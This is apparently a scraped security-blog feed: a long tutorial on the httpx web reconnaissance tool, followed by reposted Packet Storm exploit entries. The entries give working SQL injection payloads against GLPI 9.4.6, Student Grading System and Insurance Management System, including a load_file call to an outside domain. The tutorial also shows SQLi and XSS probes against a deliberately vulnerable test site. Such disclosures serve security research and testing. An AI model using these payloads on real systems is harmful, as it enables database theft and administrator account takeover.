Story about more than 3.5 million PII leakage in Yahoo!!!

Hello GUYS,Continue reading on Medium »
Read more...

SQL Injection at Spotify.Continue reading on Medium » (https://eslam3kl.medium.com/sql-injection-at-spotify-d19e0861ddf0?source=rss------bug_bounty-5)

SQL Injection at Spotify

SQL Injection at Spotify.Continue reading on Medium »
Read more...

Hacking Articles
A Detailed Guide on httpx

Introductionhttpx is a fast web application reconnaissance tool coded in go by www.projectidscovery.io. With a plethora of multiple modules effective in manipulating HTTP requests and filtering out responses, it is proving to be an effective tool in Bug Bounty Hunter’s arsenal. While tools like curl already exist that can perform almost all the features covered in this tool, httpx has its own place among the analysts because of its speed and ease of access. You can download the source code from here. Table of content* Installation of go version 1.17
* Installation of httpx
* Basic usage
* Subdomain enum using subfinder and scanac
* Content probes
* Content comparers
* Content filters
* Rates and timeouts
* Show responses and requests
* Filtering for SQL injections
* Filtering for XSS reflections
* Web page fuzzing
* File output
* TCP/IP customizations
* Post login
* HTTP methods probe
* Routing through proxy
* Conclusion Installation of go version 1.17Installation and proper running of httpx tool depends on go version 1.17. You can download, extract, add go in environment variables as follows. I am using Kali on amd64 architecture. Please feel free to download the appropriate package for your system on go.dev/dl
wget https://go.dev/dl/go1.17.8.linux-amd64.tar.gz
tar -C /usr/local/ -xzf go1.17.8.linux-amd64.tar.gz
Please make sure that you add the following lines in ~/.zshrc file:
#go variables
export GOPATH=/root/go-workspace
export GOROOT=/usr/local/go
PATH=$PATH:$GOROOT/bin/:$GOPATH/bin
After you have added the lines, zshrc file can be loaded with the source command and then we’ll be ready to go. If all goes well, the “go version” command will give version 1.17.8 as output.
source ~/.zshrc
go version
https://blogger.googleusercontent.com/img/a/AVvXsEg9AlSPddp5OUP_eU8i-3YbkJlkZJQELrrftSGwMmXT5lYo3-YZMV3QCLPK8BG1PH6c3p6IKS-ra1HACHLrGFwdx56x2fCsJR6xbQzMQankB_t01kYJ7ZQLFGl5aBZWZ-dnDBQzF5Uw_2m37KQ62BmKRR8ZWVWOmq5nMQ0PiXeNjBUJ9BMrMiDMiblRfg=s16000 Installation of httpxInstallation of the tool is also possible by cloning the github repository and using a makefile to compile but we have an easier alternative. We can use go install to do the same like:
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
https://blogger.googleusercontent.com/img/a/AVvXsEjxO12ZcCBpqMjShSZDpioqub4yeqXqeR6x1ecum7XOuXIsn4DX8DUM1PuFaOcO5DdM20TYt9I5LHkMAJqXbDyV3aDvj5d3wROMhdAYMjRlDtnT8VNQpaSznN7AFHdq-Q-rrRQi53ElM0B1xFL6Jap_wwA_H3Zmz_AZVCkHYT4AyWrhs3RYul_Y25CsHw=s16000

Once done, you can now run the tool. Help menu can be popped up to check the installation success
httpx --help
https://blogger.googleusercontent.com/img/a/AVvXsEgQLt7Z5uf7fSqnkq2bX7Pp0sE8QNdVxj-uyi_ZHLji4PyrwM1LzY7c6aVhGQbH3C7ZZJo4hrJxKXr5C-lwlULWSsJ6dDZyjKFLhmyI5MEtZ8BmiGkIuwtp2F0-_JwJh6A6mJcGUlYPI85CNwPvfV4fGe9BFME4N2gTMS5oaRWNn6p1w-a1HdkPg6pWmA=s16000 Basic UsageHttpx tool accepts STDIN input for scanning. Here, we run a blank scan that only hits the server and does nothing and then the same scan with some basic options.

-title: displays the title of the webpage

-status-code: displays the response code. 200 being valid or OK status while 404 being the code for not found

-tech-detect: detects technology running behind the webpage

-follow-redirects: Enables following redirects and scans the following page too
echo "http://testphp.vulnweb.com" | httpx
echo "http://testphp.vulnweb.com" | httpx -title -status-code -tech-detect -follow-redirects
https://blogger.googleusercontent.com/img/a/AVvXsEg75NMZ3dVd_eJ8SGIUvdw9JiHUZUm9IGz5xyH7owm4SDgMqiHocUXSqxL7Ph3fltfSYKxxb9Izqv_2m65W085tcXWZKrysSRJiDuBusKUKUzCQJABsBJSUEu54wnhneq0HHEQJLx2qZV_UEwgwlLd96Mj8DfRL16871RQwqeMkIiAxt3_sbL8xB-OqYw=s16000

The same can be run on a list of websites that can be fed to the tool [...]

using “-l” option
httpx -l list -title -status-code -tech-detect -follow-redirects
https://blogger.googleusercontent.com/img/a/AVvXsEh2PsDI6akzQXDF5CtJUaG8OSIRmlPsY3RjODmFEC5SEs-Yo-DWKCDpnPHZTDPFHoLf5iazUjPdquCR4FnL5NCkUtlm7WrLiHHjw5WvJf8qtD99Dx2XR4dQnQfesgj3h4RdzXMNki6XLiH15cZTu9x012t6EvDfhri5OzJtbKB432VaZoo3hFOWlaW58g=s16000 Subdomain enum using subfinder and scanSubfinder is another tool developed by projectdiscovery.io that enumerates and outputs subdomains. We can feed the STDOUT of subfinder to httpx and scan all the subdomains like so:
subfinder -d vulnweb.com | httpx -title -status-code -tech-detect -follow-redirects
https://blogger.googleusercontent.com/img/a/AVvXsEhogbTv2cwBoMFX7WbSt8Jl4RpzIjPS4L92plBtV6RJo90N4qsFVHdMS3I5igzroL-UZv9yicPmggfl_deW9HbbX8t1ZMpQlj8EZs5DBipeiSbCnkrq1UKD0h3WoyfAymxdZWePYPUl-dIU5N0VcVHKrTd_n-HeOLBJGDevQsTwMaYuHEkhWRRoI4NNfQ=s16000 Content probeThere are various modules that can refine how a response is rendered which is called a “probe.” These help us refine scan results. For example,

-sc: show HTTP response status code

-path: a specified path to check if it exists or not
httpx -l list -path /robots.txt -sc
https://blogger.googleusercontent.com/img/a/AVvXsEhBz-txjviQHX-e11ncrjLMjXu_6wsHxWKnHcmp2IAV0QR3ug59B-_qaBzeOXGgqaVYFu9eVgSV8CzlRuZvSD7LyvGWs1Cr0WfaQHm5uVj4l094Z60oRFwAbUObKdIClePcYd8W3NICnU5nQ70cAycTC2LEbFd1gNK3pLlINKpi_Y8rlIZ3X7pGNOhp9A=s16000

httpx could be run using docker as well. Here, we feed a list of all subdomains as STDIN to httpx:
cat list | docker run -i projectdiscovery/httpx -title -status-code -tech-detect -follow-redirects
https://blogger.googleusercontent.com/img/a/AVvXsEh-XPURpyC8xXqFxGg6UNnCrbXqElwXFtX-HXOpZxI2UB6EVdnfHgn9US0hYrZm-5guT6palhNmVjBPdHrS1IhYCj944dU8sJtATPHGyRkmlbcNl9qzWZ1_A6Z2YELYe67jgsHnQLEgIhG8PEEfilgff5NtQ_zAZLddk-vnJFJZifl52Zig2U84_XPB6w=s16000

There are various other probes that help us render better outputs

-location: website where redirected. Here, observe how http becomes https

-cl: displays the content length of the resulting web page

-ct: content type of the resulting web page. Mostly HTML
echo "http://google.co.in" | httpx -sc -cl -ct -location
https://blogger.googleusercontent.com/img/a/AVvXsEjX5m-5IIDpQnK4vh-zXDF45KHcr4IiYFHI2i76Ah3dRAfEv6Gb_0St-7D0Af4bZFXRyedM7hLMDQQKxKQmuHTCCJq-IqCQFEgA63WEStdYZjDE6dtWZrv08GQj4C8J3SL0iocbswolJsk29HueFFhPRGzQ6N2n_4hPohWMmwS5Dx31oKDAlQqaG6CvOQ=s16000

Some probes that are helpful for analysts and in-depth analysis

-favicon: fetches mmh3 hash of /favicon.ico file

-rt: shows the response time

-server: displays the server version and build

-hash: shows the webpage’s content’s hash
echo "http://testphp.vulnweb.com" | httpx -favicon -rt -server -hash sha256
https://blogger.googleusercontent.com/img/a/AVvXsEjZ4_gZGM2YiSWLLFpMnFBgEfInyjEY2zhP4IQD55ehgblIDr4ET8ESNpzkJO11T9YAgGE48kNl2kxWQ7timGaA78TfdTi0b5IdpaP7SVejfCeGLfUSIjuBBriMUGon-AdXArmd-lgZorhdMyocgJoeKjT3m4e6NS7rU6AQkwTlUZyE6PJ5Hor3qXytOQ=s16000

-probe: displays the status of a single scan (success/failed)

-ip: displays the IP of the webserver

-cdn: displays the CDN/WAF if present
echo "https://shodan.io" | httpx -probe -ip -cdn
https://blogger.googleusercontent.com/img/a/AVvXsEgiy_dzmg2AKJXJcHBU-Ekct5tgcJNK51hU_eFMGSS4ZBnKFN057ZH_OSRzzG33V3Ey9cD7c96PwT-RKxbxigPeZBUDIOfjQQs6T0jBIVw1LYRsVwUYTKp6RzedqW51iJghenxQ3f87B4AL0r_tSdH_s7swP7ybRGzbDJjnQhZ29NxUHbQhRcWm_UXc-A=s16000

-lc: displays the line count of scanned web page

-wc: displays the word count of scanned web page
echo "http://testphp.vulnweb.com" | httpx -lc -wc
https://blogger.googleusercontent.com/img/a/AVvXsEhoXJxtpYiFzctnrh8CeC9zXCVI-QeDlh7mFcnLVhH2Y0vyytWc1oM-pxr1zOThqxXDJGBhJ-pxCC72WdJBphE3wTaignfE0LPrrzMY-2SOAd1jjwBt7zYnq1V5nyxV_bzBzHy-NUW8jerWVOh45sbV5dJDN4I-Vn3xWeyW4dAuQJjGr5a4qhednPPx7Q=s16000 Content comparersThere are various comparers available in the tool that help us shortlist down an [...]

output. These are very helpful to trim down a list of unexpected output. For example,

-mc: matches the HTTP response code with the codes supplied in the list
cat list | httpx -mc 200,301,302 -sc
https://blogger.googleusercontent.com/img/a/AVvXsEiAEZYYStgLEMFENS2zsdDYkhkjksXUTef_8TtiasZDc5CSrBU9mFkmOPSfUqWWc2jzDGzWDpjc7hP8Vkp8fzLHFA7cxpmSOnvAUt2yYJa74ZMcXkRu-s7bFUJbB8JMd-zuZlUvd1sqtAAdFt8vQAu_nmCdDsXvF5rtfjQmMzdShc8XpGADuUArifd8RA=s16000

-mlc: matches the line count with input provided
cat list | httpx -mlc 110 -lc
https://blogger.googleusercontent.com/img/a/AVvXsEhDFuXjn7TUOgMZrzkClN2bus5cveZxdHxq-D8bA3tBcqks7d7LUxCONWgf_iT3HPRla9nvGYtjwGPvqNk5y8F1VxfFPMAHDnJmBbjk9bwP1S0uAJczXWUJnyTkfSllBXzpCHvjySb36llAyyc1MvznQ4WYmikEmA26LKb8vf18TIp_l2fI3NJrmYLnWw=s16000

-cl: displays the content length of a webpage

-ml: matches the content length with the input provided and displays only the results matching the content length
cat list | httpx -ml 3563 -cl
https://blogger.googleusercontent.com/img/a/AVvXsEhSR_kOwZcqSWfOZ82H4VlEJ1G5-LixVZzOYtYEpC310ydx2bmVwrA3MCGTP-BN4UBbHG5X1A4-4bYu1E6rLML1i2H4zwNQl_NeIPxYMvFJHfjwhq-AOr6qfqYnqMVg1WDsgvF4_e9dUoUPPsesYV72gMnxaZLiZ3oMnNwOnLTEIFZxj1RNXhomckpeyw=s16000

-mwc: matches the word count and displays only the results with the same word count
cat list | httpx -mwc 580 -wc
https://blogger.googleusercontent.com/img/a/AVvXsEiUGGTLTtQTIcfsIANfEkAk7gN_DSbc7vUCQjg1wVsFAKzsJ_1D_1MBlrO48hNF1EtiaeBQb_PwHJjZf4nT78sf8DWSuFOyMhCJDmcuw76_H94XYbQehlFDAHtJDD5Pfn_UDdPMVtcBff7SjyLRNgvsE45GzjktYdVsFdX8iNuxTtxeuvYYrztNEtH4Hw=s16000

-ms: displays only the results where text on a page matches the provided string. Here, pages with “login” in their text are loaded
cat list | httpx -ms "login"
https://blogger.googleusercontent.com/img/a/AVvXsEj97pwpigLNnt3kDhKKp7nZnNdZ_Bd3-SCYMDgJmFcKeeUOmf7fZfe928WCCiCFhWDC_gY3S9oTzz6PMmza05PYCee5rX862gE0TyzaD3x3l3GQoMfGUzSP9HKtQs8ZoXQ4E9HufEzJsDMrQzcRk85SCkA7dZGOHEH29AmkctIRN2Hr-AhGapELgCKaWQ=s16000

-er: extract regular expressions. Displays only the results where the resulting pages match the regex pattern provided. An example regex is \w which compares the provided string with the resulting page’s output.
echo "http://testphp.vulnweb.com" | httpx -er "\w test"
https://blogger.googleusercontent.com/img/a/AVvXsEggV7SxthocXjWoEhSGAQ6VuUqA8D5WlSLQCq46MZ9zHiHjx1gtoN5AZpjTo-ak7sQ2DDQv4qWK11WDB93iqshrtLKb3zFY9nShvLVWhMV13CRHeKPkseSaKJUKvrks3gHRuhKs4Sewv6unu9Dm80o3-C5vwl9xf3eTeSP0nziOgSD_XMkV8p8yElnWQQ=s16000

Here, you can see the output stands like u test, o test. The tool has filtered the following text and displayed it in output:

https://blogger.googleusercontent.com/img/a/AVvXsEjgu0WAIPzvIZAw7-WoCQLGbEpUPglE4iMQPL6QslgEF2_6oGrOp_1fbCScQAc3ttylpWQriA8oL5gLpAlbDiXmJ-ZR0Pu_mIGQdDqU6TsKcqY693VEsm4G2Dl7gEMeOi5GMpdcoQrpUTkaGmhcwo3oidTjt-WRX34RCLEUp2QibQGjv8qbJ3hnOqZlag=s16000 Content filtersVarious filters are available at disposal in the tool that eliminates the results upon matching the criteria/condition provided. For example,

-fc: filters code. Tool only displays status codes not listed by fc (404 here so only 200 is visible)
cat list | httpx -sc
cat list | httpx -sc -fc 404
https://blogger.googleusercontent.com/img/a/AVvXsEhuiFqokWVCnPiYTu3U0W29vl5t2s15ICqn8GCZERknvk5CPePhRV58vzot-2jTMD9Ybpt8c6O1Hej6aU5zVC6yclwQPCVtDLnbfvtVzx7lCRBQj_ADi8hsK2UUH_mXd-LvBxYgkQGxw4xkKbePMm5mrPsYedptqF6RckjclBi150IASOjqawriSEdeng=s16000

-fl: filters content length. Here, 16 and 12401 is filtered so all the output except these two are visible
cat list | httpx -cl -fl 16,12401
https://blogger.googleusercontent.com/img/a/AVvXsEih9BMUuXOhzJrCoFFa0MMWplbDHzpqt_84dy4W4aCVMlrWoGDczG6NLes1P1sBqpPfbsEpJHHeUMBWD_hR9l8Uk912FyKBnZoTV35eK4PH4-ryN3aijGshgxCxkDh3ZYSnPcLcA4kwxtO3AAzLkp_NJ5tFl2U0N3CIXMJwVMmo-7Wl8OMAf9tFnS8f-w=s16000

-fwc: filters the word count. Here, 3 and 580 is filtered so all the output except these two are visible
cat list | h[...]

ttpx -wc -fwc 3,580
https://blogger.googleusercontent.com/img/a/AVvXsEgy2FOoxte3XNKFtNiDFFU8NVtVx9iRwxFNFupJ_YeqcJon1LMaCsxmbNU9HE0c8A4pSxaOW8Ge7xxjoOoy66-taMX_IKn-S8BtoRfkw5BrBL3sZbYodPEH4durITeoVvt_UvRPLEYs3bhZx9DFVyhUF95qkbr_tJy9SA8JolkWnG1DAuW_74hlGyltAA=s16000

-flc: filter line count. Here, 2 and 89 is filtered so all the output except these two are visible
cat list | httpx -lc -flc 2,89
https://blogger.googleusercontent.com/img/a/AVvXsEiqDNezwvf_adtN4LyoVa6J2Z_jHDGFjhN4bswa6-P9VkGN6YlYkO4utdj9KahtPHwzcATHxorSZapOUmChDqe64nI0QMBUUN6HwmIePq-52NKjCCbbfNSD692e9tRrpy7DxO_KWDxTYv5BlaHqku4SW2Mn6XHr8C2LPp7yqZYgF8y-UGNJcgjirkWExg=s16000

-fs: filter the output with the provided string. Here, “test” is provided, so webpages not containing the string “test” is displayed. This string must only be in the text on the web page.
cat list | httpx -fs test
https://blogger.googleusercontent.com/img/a/AVvXsEhJqz_5zPOIFn6lygNP2lwBvI44t9QCMUGZ0B2vsrZ79Xlk--NhYQraGMFyiQ3If_9_q6wkTfv6DiYwbGZWoj37Fsk1EgDgQGqZbebaijF8grcoK8uJRUA-9otYN9uYHEYrpGeT23NDGAOjyBcwupOm9ICLpbvCqD_YfvqPBp1pcwzuMgOFe6IMuEP0zQ=s16000

-ffc: favicon filter. Only the output with favicons that are not “-215994923” is displayed.
cat list | httpx -favicon -ffc -215994923
https://blogger.googleusercontent.com/img/a/AVvXsEgBonM7jOl_tDlKHTViJdsc8wr4tmitSIQVpyUFdrqLcWTES00NrrKuSQOFNHEj2RKZJd_km-obcTVr0o9Vx4JmwkmAfSRN65c2IQNuNdYjPbA1HuQqZDaaj9r6veyvZzjxFLy5pSHGazkhKibdYwz_N1BbDlrMOmWEcWx3fbbod2kvWIEsthLOsOJ-Hg=s16000 Rates and TimeoutsThere are various modules that let a user play around with the rate of scan and throttle the speed of the same. Some of these options are:

-t: specify the number of threads used for the scan. Can be as high as 150. Default 50.

-rl: specifies the rate limit in requests per second

-rlm: specifies the rate limit in requests per minute
cat list | httpx -sc -probe -t 10 -rl 1 -rlm 600
https://blogger.googleusercontent.com/img/a/AVvXsEhjJQ68aqHALxLer1B3W19CHa5ZC7Y1q3_rMOJOv21T2ZyHytNzPGdRgARhzFqiC6nw9nqpfGgYbyUoc3KdVj7DWRVdg-vcCnAgwRlneXG69V9HOvmCG_ndaZmP7NkBkQzzCpkPS6MTkYAYBvGqXlqhBWoOXkhedPk9qiQHaif_oOz2XSONXqOjOGgsug=s16000

-timeout: To abort the scan in specified seconds

-retries: Number of retries before aborting the scan
cat list | httpx -sc -probe -threads 50 -timeout 60 -retries 5
https://blogger.googleusercontent.com/img/a/AVvXsEhUM3UxpMU4hMxayxYKcnLrdyyUZASZsQU1gfqJyx5c1vQf46LHdcDxG8qv6yU316nR3yrQxA7whGOeyhKO5ONYcnT0ia-2i8hM61Y7A4gvw7FXXKhVTpDxHfe-GAytA7aZN8xY6JDpUkgbT3MaBhQI5g6nTPAFlOaEDoxg-C1riucyg8eFNw0Xe4AQMg=s16000 Show Responses and RequestsHttpx crafts and sends out http requests in real-time and then post-processes the results. These requests and corresponding responses can be viewed as well. For example,

-debug: it shows requests and responses to a webpage in CLI
echo "http://testphp.vulnweb.com" | httpx -debug
https://blogger.googleusercontent.com/img/a/AVvXsEhCGEvpG_qThOHAnTf1Df2IqKC2Mxcc6mdCIpwpFt_99unLTXkQETb65Is786ADWIb6mj0delHprSvdsj6ppzgyG9lz_VaLj1dIcqC2JwzwBtxR6EhYNn0GOFwUtBHckN5XcxRb0NwLlBL8Jz5aDaMy_IN1YPUic9lfgBy7MfXoKBjgoF7rRk5eZsd_IQ=s16000

-debug-req: Displays the outgoing HTTP request

-debug-resp: Displays the corresponding HTTP response

https://blogger.googleusercontent.com/img/a/AVvXsEgwFPwm2Cye9r3CwN-ijP8qjTYzPL4M-fISRnlTys9IxDXXrotJlRDWWhxzg7o9SwffHKciGHlI3iyIdFtRZu8-6BAKkFlRkHZEWdjBA4l3jZKBgGwIGbzie73nUUmjdXVYcYJ7JdSiHhsLpsSCDjkq_mmw388x3V_R9n0M6N37Zcj0TQlu8b0CvWrvUw=s16000

-stats: displays the current scan stats including completion percentage
cat list | httpx -stats
https://blogger.googleusercontent.com/img/a/AVvXsEiCmkBdmNuiXfKRO-3mW-5dP_MffgfcdP9hIsxqoX4cgJ7ocKrPvjt8MaypzIPE0-nh8TP844h-ftiOdV8yh1_OccYKntVJJF6qoHzMAyYCGSy_rDbyEXYu5iU1Ka8iZmFxPQ-fUGrKZML35NYCuaYGV05Wwam7vsi5Bh-vaVT-siCRb1bxjguBpLYW_Q=s16000 Filtering for SQL InjectionsAs we know that some types of SQL injections are reflected in the code output. We can detect[...]

such injections by filtering the output of a web page. In error-based SQLi, an error is thrown which is reflected in the output page. As you can see in the command below we have used -ms filter to compare and find such pages. Ideally, an attacker can give a list of input and find common SQLi vulnerabilities in a similar way. In the output below, where the vuln is found, httpx displays that website’s name.
echo "http://testphp.vulnweb.com" | httpx -path "/listproducts.php?cat=1’" -ms "Error: You have an error in your SQL syntax;"
https://blogger.googleusercontent.com/img/a/AVvXsEhAu9RTErg8tosLtBEdTr_GazHPR2pQWI70rlwTCm-PHiUw4sUr5XZs8sZuhegnoxHLeXqjUC6AmMtkV1ZdcX6IsSjUjJTqFQov0m21tAsNrUlhF__PhMxTGFDgHGO_LUYKDc3vaQKGE57GHRPpPxkO-JhCyq_FnYJQgncOrAF0yyqYgTn7ZQBPqaqwYg=s16000 Filtering for XSS reflectionsReflected XSS by definition gets reflected in the web page’s output.

https://blogger.googleusercontent.com/img/a/AVvXsEjUSBjJcN33oq2ekAdJkMtRcMCUGBk_CRED_fIrLj7ka-g3dV0DyPdvKr9lW39sPdJ82NvIqwC94Es-BHnu0agzgYgbHegLy0o8DADavyo9matoST36ZTdTkQ7pmQxA4dCqJb40UCHIiyplngelIAtf0oSw-x_4PlafvFM9g5acGR3xdVw03B_APK__pg=s16000

An attacker can input a list of websites and then a list of path to check for reflected XSS in bunches. In the example below, the “-ms” module is used which is supposed to match the output webpage’s text content with the input provided. Since reflected XSS is shown in the output, the tool displays the name of the webpage where this vulnerability (payload output in the code) is observed.
echo "http://testphp.vulnweb.com" | httpx -path "/listproducts.php?cat=" -ms ""
https://blogger.googleusercontent.com/img/a/AVvXsEg0SATrZaFiM5GJXKVT7W6_cRC9cwlTFUlqLoiznGO587GPps-BmRLWdoryW8_wIIxd5Utqw61-ojOtRRiWex977abgeewSDnFby0xyctmnaRly6aS1OkKxCTvA_L8K94xVZODz0mIQgwjRIwf0L2Mn5009GXbBwgYXoQVMNpDErwhikPUBOGKstdkYHA=s16000 Web Page FuzzingHttpx is a great tool that can be used to fuzz web pages. “-path” module can be used to provide the name of the file to be fuzzed for existence on the server.

-path: path/list of paths to probe
echo "http://testphp.vulnweb.com" | httpx -probe -sc -path "/login.php"
https://blogger.googleusercontent.com/img/a/AVvXsEh46SKO1qFjbjumDukvGLqeQ_Uv2DYcig36OnG6ErQCDRNgyFNwdYudjn-9T8AD7jTjlsGH1mQameb8dgnaPDaU9uUFAc-eVP97fV9qyKs2QKuaWiaG0hr6qC2zdZ4iKokHzGW-H6ml_jYvZDevILYHG4WjORJs91bLPOMoPiJAVDkikXRcbis1QxkhOw=s16000 File outputThe scan results provided by the tool can also be exported for convenience. The most basic output is a text file with just webpages in every line. This can be useful for a variety of occasions while pentesting. Such modules are:

-o: Saves a result in a text output file
cat list | httpx -sc -o /root/results.txt
cat results.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhYlMet5wQkj1NKhxsCoGoGKpEwo6UY7f5Sh1SrBFef_Pvuye8-rzLIHcyPCqnosZSFc-MmTRUUS7kmYvimsyjyETsUgOANDQ190b8jnHuBZ0QK3b1L7ddAxjsrqji_vinEnBrXXm2_Zu9w2kga_peO4CfDOymiu3DaEFQhSscSdsjqOgCbHXSb5Qy4iA=s16000

The same results can be saved in other formats too. Like,

-csv: Stores the scan results in CSV format. Default scan includes almost all of the content probes.
cat list | httpx -sc -csv -o /root/results.csv
cat results.csv
https://blogger.googleusercontent.com/img/a/AVvXsEhRhIkcza7HMa4gOb5lQlmNplkIvp53BX2yHx5BBGgat8zXSf-bDKl5J7UWeptJXv5anfwgHZmwmFEH3BOIsWxeXddtjaLLUaw2ityaYmU2NPZQF3AfNEykLv9jHkV7zKGmW38P1J7FyCQbX7h0z0LbASN300FFoSaZo_HXHhMfpv4D8Yt2eIBGT5FoFQ=s16000

-json: Stores the scan results in json format. Default scan includes almost all the content probes
cat list | httpx -sc -json -o /root/results.json
https://blogger.googleusercontent.com/img/a/AVvXsEhMoED5fGV0xKP9VQUi5K5eUWrQZ2JKGsZd3YZ1tqjr4RmGT4ogcepIZ3cx0YH-ZGOvKcjZ4BcuRp6pq4YtLJMzA00H0h0-egVcZpvwphsqfI2X5nlkvmB7vRUD2xliL38cMkuIpQwnj7974A3lnHl4u3VNtaZrCHLvKHyj9nDTqKLHHM9drcJcoAhirg=s16000

-srd: stores corresponding HTTP responses in custom directory with naming: “URL.txt”
cat list | httpx -[...]

Story about more than 3.5 million PII leakage in Yahoo!!!

Hello GUYS,Continue reading on Medium »
Read more...

SQL Injection at Spotify

SQL Injection at Spotify.Continue reading on Medium »
Read more...

Exploit Collector
Baixar GLPI Project 9.4.6 SQL Injection

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
Baixar GLPI Project 9.4.6 suffers from a remote SQL injection vulnerability.

MD5 | 26ad8734c5ba0d90f45a96375b55ccde

Download
# Exploit Title: Baixar GLPI Project 9.4.6 - SQLi
# Date: 10/12
# Exploit Author: Joas Antonio
# Vendor Homepage: https://glpi-project.org/pt-br/ <https:
# Software Link: https://glpi-project.org/pt-br/baixar/
# Version: GLPI - 9.4.6
# Tested on: Windows/Linux
# CVE : CVE-2021-44617

#POC1:
plugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111

sqlmap -u "url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1"


Source:packetstormsecurity.com

Exploit Collector
Student Grading System 1.0 SQL Injection

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Student Grading System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 645f7f7e3381a63030d05a303ef48624

Download
## Title: Student Grading System v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.14.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14522/student-grading-system-using-phpmysql-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Student-Grading-System

## Description:
The `user` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the user parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
You should review the contents of the error message, and the
application's handling of other input, to confirm whether a
vulnerability is present.
The attacker can take administrator account control and also of all
accounts and files information on this system, also the malicious user
can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: user (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: user=-6693' OR 2950=2950-- qPwW&pwd=d0Y!w7s!B1

Type: UNION query
Title: Generic UNION query (random number) - 6 columns
Payload: user=-7952' UNION ALL SELECT
5650,5650,CONCAT(0x71786a7a71,0x7564497973726b65496f6e5778706143684359517149546e46776d6843484a504e624e7967484c57,0x716b627171),5650,5650,5650--
-&pwd=d0Y!w7s!B1
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Student-Grading-System)

## Proof and Exploit:
[href](https://streamable.com/h0x4xl)

Source:packetstormsecurity.com

Exploit Collector
Insurance Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
Insurance Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 4ed60632b6f1aa3e5565fcba353081cb

Download
## Title: Insurance Management System v1.0 SQLi
## Author: nu11secur1ty
## Date: 03.12.2022
## Vendor: https://itsourcecode.com/free-projects/php-project/php-projects-source-code-free-downloads/
## Software: https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System

## Description:
The username parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+'
was submitted in the username parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND 7122=(SELECT (CASE WHEN (7122=7122) THEN 7122 ELSE (SELECT 6385
UNION SELECT 2068) END))-- -&password=y6E!b3n!T9

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND (SELECT 3405 FROM(SELECT COUNT(*),CONCAT(0x7178767671,(SELECT
(ELT(3405=3405,1))),0x7178627871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zJzm&password=y6E!b3n!T9

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=GvWNfNIz'+(select
load_file('\\\\9hrdmiwt98pph06kzx56a8hv7mdf17pysmk9axz.itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/\\xek'))+''
AND (SELECT 5739 FROM (SELECT(SLEEP(5)))crqV)--
pBFE&password=y6E!b3n!T9
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/itsourcecode.com/Insurance-Management-System)

## Proof and Exploit:
[href](https://streamable.com/iyml42)

Source:packetstormsecurity.com

Exploit Collector
Automatic Question Paper Generator System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Automatic Question Paper Generator System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | d5c150fff3e3987b7808102f9f5127ab

Download
# Exploit Title: Automatic Question Paper Generator System 1.0 - Cross-site scripting stored
# Date: 2022-11-03
# Exploit Author: Mr Empy
# Software Link: https://www.sourcecodester.com/php/15190/automatic-question-paper-generator-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Linux

Title:
================
Automatic Question Paper Generator System 1.0 - Cross-site scripting stored
Summary:
================
The Automatic Question Paper Generator in version 1.0 is vulnerable to
arbitrary persistent javascript code injection (XSS), which can lead to
thwarting of browser resources and session cookie theft.
